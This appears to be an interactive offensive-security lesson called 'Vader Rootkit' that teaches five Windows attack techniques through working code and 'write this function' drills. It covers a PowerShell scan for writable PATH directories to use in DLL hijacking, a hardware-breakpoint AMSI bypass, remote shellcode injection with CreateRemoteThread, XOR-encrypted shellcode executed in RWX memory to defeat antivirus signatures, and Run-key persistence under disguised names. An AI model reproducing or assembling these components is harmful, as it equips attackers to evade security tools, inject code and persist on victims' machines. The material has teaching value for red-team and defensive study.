Finding the Weak Gate — Writable PATH Directories
Windows searches directories in the PATH environment variable in order when loading executables and DLLs. If you can write to one of those directories, you can plant a DLL with a name a privileged process expects to find there — and it loads yours instead. This script finds those writable directories.
// NOMENCLATURE — POWERSHELL + ACL
$env:PATH | The PATH environment variable as a string. Contains directories separated by semicolons. Windows searches these in order when resolving exe/dll names. |
-split ';' | PowerShell's string split operator. Splits on semicolon, returns an array of path strings. The pipeline and for-each can then iterate each directory. |
Test-Path | Returns True if the path exists. Directories in PATH may reference non-existent paths — skip them to avoid errors. |
Get-Acl | Get Access Control List for a file or directory. Returns an object with an Access property containing all permission entries. |
.IdentityReference | The account or group the ACE (Access Control Entry) applies to. -match does a regex match — 'Users|Everyone' catches common low-privilege identities. |
.FileSystemRights | The permissions granted — Write, FullControl, Modify, etc. If a low-privilege account has Write or FullControl on a PATH directory, it's exploitable. |
ErrorAction SilentlyContinue | Suppress errors for this cmdlet. Get-Acl may fail on protected paths — this skips them without output instead of crashing the script. |
$paths = $env:PATH -split ';' # split PATH string into array of directories foreach ($p in $paths) { if (-not (Test-Path $p)) { continue } # skip non-existent directories $acl = Get-Acl $p -ErrorAction SilentlyContinue # get ACL; silence errors on protected paths if (-not $acl) { continue } # null ACL → skip $writable = $acl.Access | Where-Object { $_.IdentityReference -match 'Users|Everyone' -and # low-priv identity $_.FileSystemRights -match 'Write|FullControl' # has write permission } if ($writable) { Write-Output "[WRITABLE] $p" # found a hijackable directory } }
Write the PATH recon script. Split $env:PATH on semicolons, iterate, skip missing paths, get ACL silently, filter for writable entries by Users or Everyone, output writable paths.
// WHY THIS WORKS
The -match operator uses regex. 'Users|Everyone' catches both "BUILTIN\Users" and "Everyone" entries. If the PATH directory is before the system directory and writable by Users, you can drop a DLL with the right name there. The target process loads yours first because of search-order priority.
Replacing the Sentry — Hardware Breakpoint on AmsiScanBuffer
AMSI hooks into the PowerShell/CLR runtime and calls AmsiScanBuffer to inspect scripts before execution. You place a hardware breakpoint on AmsiScanBuffer. When it fires, your exception handler intercepts execution, sets the return value to clean, and resumes. AMSI never actually runs its scan.
// NOMENCLATURE — DEBUG REGISTERS + EXCEPTION HANDLING
CONTEXT | A struct holding the CPU register state of a thread. Get/SetThreadContext reads and writes this. CONTEXT_DEBUG_REGISTERS flag limits it to the debug register fields. |
Dr0–Dr3 | Hardware debug address registers. Four available slots. Set Dr0 to the address you want to watch — the CPU fires a debug exception when that address is about to be executed. |
Dr7 | Debug control register. Controls which debug address registers are active and what condition triggers them. Bit 0 = enable Dr0 locally. Bits 0-1 of lower nibble = execution condition. |
EXCEPTION_SINGLE_STEP | The exception code fired by a hardware breakpoint. Your vectored exception handler checks for this code to distinguish HWBP hits from other exceptions. |
| VEH | Vectored Exception Handler. Registered with AddVectoredExceptionHandler(). Gets called before SEH for all exceptions — even in external threads. Perfect intercept point. |
Rax = 0 | On x64 Windows, functions return their value in the RAX register. AmsiScanBuffer returns AMSI_RESULT_CLEAN=1. Setting Rax=0 (AMSI_RESULT_NOT_DETECTED) fakes a clean result. |
Rip += 1 | Instruction Pointer. Advance past the instruction that triggered the breakpoint so execution doesn't loop. +1 moves to the next byte — usually enough to skip the first instruction. |
EXCEPTION_CONTINUE_EXECUTION | Handler return value: resume execution from the modified context. The modified Rax and Rip are applied. Execution continues as if AmsiScanBuffer returned clean. |
void set_hwbp(HANDLE thread, void *target) {
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; # only read/write debug register fields
GetThreadContext(thread, &ctx); # read current debug register state
ctx.Dr0 = (DWORD64)target; # set breakpoint address: AmsiScanBuffer
ctx.Dr7 = (ctx.Dr7 & ~0xF) | 0x1; # enable Dr0: clear bits 0-3, set bit 0 (local enable)
SetThreadContext(thread, &ctx); # write modified context back to thread
}
LONG WINAPI amsi_handler(EXCEPTION_POINTERS *ep) {
if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
ep->ContextRecord->Rax = 0; # AMSI_RESULT_NOT_DETECTED: fake clean result
ep->ContextRecord->Rip += 1; # skip past the instruction to avoid loop
return EXCEPTION_CONTINUE_EXECUTION; # resume with modified registers
}
return EXCEPTION_CONTINUE_SEARCH; # not our exception — pass to next handler
}
Write set_hwbp() and amsi_handler(). The first sets Dr0 to the target address and enables it in Dr7. The second intercepts EXCEPTION_SINGLE_STEP, overwrites Rax and Rip, and continues execution.
// WHY THIS WORKS
Hardware breakpoints use the CPU's own debug registers — no modification of the target function's bytes in memory (which would show up in integrity checks). The VEH fires before any software hooks. Setting Rax=0 and Rip+=1 effectively skips the entire function body: the caller sees a clean result and execution resumes at the instruction after the call site's return.
Parachuting into the Barracks — Remote Memory Execution
Allocate memory in a remote process, write shellcode into it, create a thread in that process to execute it. Three Win32 API calls. The shellcode runs inside the target process's address space — using its privileges, its identity, its loaded modules.
// NOMENCLATURE — PROCESS INJECTION
OpenProcess | Gets a handle to an existing process by PID. You need specific access rights: VM_WRITE + VM_OPERATION to allocate/write memory, CREATE_THREAD to start execution there. |
VirtualAllocEx | Allocates memory in a REMOTE process's address space. Unlike VirtualAlloc (local), this targets another process's address space. Returns a pointer valid in that process, not yours. |
MEM_COMMIT | MEM_RESERVE | Reserve the virtual address range AND commit the physical pages. Both required. Reserve alone = no backing memory. Commit alone on a new range fails. |
PAGE_EXECUTE_READWRITE | Memory protection: the CPU can execute, read, and write this region. Required for shellcode. EDRs monitor for this combination — it's a high-fidelity injection indicator. |
WriteProcessMemory | Copies bytes from your process into another process's memory. Writes the shellcode bytes to the address returned by VirtualAllocEx. |
CreateRemoteThread | Creates a thread in a remote process. lpStartAddress = your allocated + written shellcode address. The thread starts executing there under the target process's context. |
WaitForSingleObject | Block until the thread handle signals (thread exits) or the timeout expires. 5000 = 5 second timeout. Ensures shellcode completes before you clean up handles. |
BOOL inject_shellcode(DWORD pid, BYTE *shellcode, SIZE_T sc_len) {
HANDLE proc = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
FALSE, pid # open target process with minimum required rights
);
if (!proc) return FALSE; # failed to open — no rights or pid invalid
LPVOID mem = VirtualAllocEx(proc, NULL, sc_len,
MEM_COMMIT | MEM_RESERVE, # reserve + commit: allocate real pages
PAGE_EXECUTE_READWRITE); # rwx: shellcode needs execute + write permissions
if (!mem) { CloseHandle(proc); return FALSE; }
SIZE_T written = 0;
WriteProcessMemory(proc, mem, shellcode, sc_len, &written); # copy shellcode bytes in
HANDLE thread = CreateRemoteThread(
proc, NULL, 0,
(LPTHREAD_START_ROUTINE)mem, # entry point = start of our shellcode
NULL, 0, NULL
);
WaitForSingleObject(thread, 5000); # wait up to 5s for shellcode to complete
CloseHandle(thread);
CloseHandle(proc);
return TRUE;
}
Write inject_shellcode(). Open the process, allocate RWX memory remotely, write the shellcode bytes, create the remote thread, wait 5 seconds, close all handles, return TRUE.
// WHY THIS WORKS
The three-API sequence (alloc → write → execute) is the classic injection pattern. PAGE_EXECUTE_READWRITE is the required flag — shellcode needs to be both written by you and executed by the target thread. This flag combination is a primary EDR detection signal; more advanced techniques split alloc+write (RW) from execution (RX) using VirtualProtectEx to reduce the detection surface.
The Two-Way Cipher — XOR is its Own Inverse
XOR with a key encrypts. XOR with the same key again decrypts. Same operation, same key, both directions. You store shellcode XOR-encrypted on disk — no static signature to match. At runtime, decrypt in-memory, execute. The key never touches disk.
// NOMENCLATURE — XOR + MEMORY
^= | XOR assignment. buf[i] ^= key is shorthand for buf[i] = buf[i] ^ key. Applies XOR in-place: the buffer is modified directly without allocating new memory. |
| XOR symmetry | a XOR b XOR b = a. Always. Apply the key twice and you're back to the original. This is why one function handles both encrypt and decrypt — the operation is identical. |
VirtualAlloc | Local version of VirtualAllocEx. Allocates memory in your own process. MEM_COMMIT = commit pages immediately. PAGE_EXECUTE_READWRITE = rwx for execution. |
memcpy(buf, encrypted, len) | Copy encrypted bytes into freshly-allocated memory. You don't decrypt the stored data — you copy it to a new buffer, then decrypt the copy. The original array stays encrypted. |
((void(*)())buf)() | C function pointer cast. Cast the buffer address to a "function returning void, taking no args" pointer, then call it. This jumps execution to the start of the decrypted shellcode. |
| BYTE key | One byte. Values 0-255. The simplest XOR key — same byte repeated across the entire payload. Weak against frequency analysis but defeats static AV signatures on the ciphertext. |
void xor_crypt(BYTE *buf, SIZE_T len, BYTE key) {
for (SIZE_T i = 0; i < len; i++) {
buf[i] ^= key; # XOR each byte with key. Encrypt OR decrypt — same op.
}
}
void decrypt_and_run(BYTE *encrypted, SIZE_T len, BYTE key) {
BYTE *buf = (BYTE *)VirtualAlloc(NULL, len,
MEM_COMMIT, PAGE_EXECUTE_READWRITE); # rwx memory: we write, CPU executes
memcpy(buf, encrypted, len); # copy encrypted shellcode into fresh allocation
xor_crypt(buf, len, key); # XOR-decrypt in-place (same function as encrypt)
((void(*)())buf)(); # cast to function pointer + call → execute shellcode
}
Write xor_crypt() (in-place XOR loop over buffer) and decrypt_and_run() (allocate RWX memory, copy encrypted bytes in, XOR-decrypt in-place, cast and execute).
// WHY THIS WORKS
The encrypted shellcode blob on disk is random-looking bytes — no recognisable header, no known byte sequences. AV signature matching fails. At runtime you allocate fresh memory (not from the executable image, so no memory-mapped file monitoring), copy and decrypt there, and execute. The key is embedded in your .exe's code section — it's never written to disk separately.
The Standing Order — Run Key Persistence
Windows executes every value under HKCU\...\Run at login. Write your exe path there and it runs every time the user logs in — no admin required, no service install, no scheduled task. HKCU (Current User) is writable without elevation.
// NOMENCLATURE — WINREG
winreg | Python's built-in Windows Registry module. Wraps the Win32 RegOpenKey, RegSetValue, RegQueryValue functions. No external dependencies. |
HKEY_CURRENT_USER | The registry hive for the currently logged-in user. Abbreviated HKCU. Writable without administrator rights — every user owns their own HKCU branch. |
r"Software\Microsoft\..." | Raw string (r"..."). The r prefix tells Python not to interpret backslashes as escape sequences. Registry paths use backslashes — use raw strings to avoid ambiguity. |
KEY_SET_VALUE | Registry access right: permission to set/write values. Open the key with this right when you need to write. Use KEY_READ when you only need to query. |
winreg.SetValueEx | Write a registry value. Args: key handle, value name, reserved (0), type (REG_SZ=string), data (the path string). |
REG_SZ | Registry string type. A null-terminated Unicode string. Use this for file paths. Other types: REG_DWORD (32-bit int), REG_BINARY, REG_EXPAND_SZ (expands env vars). |
winreg.QueryValueEx | Read a registry value. Returns (data, type). Use this to verify the written value matches what you set. |
import winreg
def install_run_key(name, exe_path):
key = winreg.OpenKey(
winreg.HKEY_CURRENT_USER, # HKCU — no admin required
r"Software\Microsoft\Windows\CurrentVersion\Run",
0, winreg.KEY_SET_VALUE # open with write permission
)
winreg.SetValueEx(key, name, 0, winreg.REG_SZ, exe_path) # write path as string value
winreg.CloseKey(key)
return True
def verify_run_key(name):
key = winreg.OpenKey(
winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Run",
0, winreg.KEY_READ # open read-only for verification
)
val, _ = winreg.QueryValueEx(key, name) # read back — returns (data, type)
winreg.CloseKey(key)
return val # return path string for comparison
Write install_run_key() (open HKCU Run key for writing, SetValueEx, CloseKey, return True) and verify_run_key() (open read-only, QueryValueEx, CloseKey, return the path string).
// WHY THIS WORKS
HKCU\...\Run is one of the most monitored persistence locations — every EDR watches it. The advantage is it requires zero elevation and survives reboots without a service or scheduled task. The trade-off: high visibility. Real ops pair this with a name that looks like a legitimate autorun entry (OneDrive, Teams update, etc.).
// VADER ROOTKIT — COMPLETE
DLL hijack recon. HWBP AMSI bypass. Process injection. XOR shellcode. Registry persistence.
Five techniques from recon to persistence.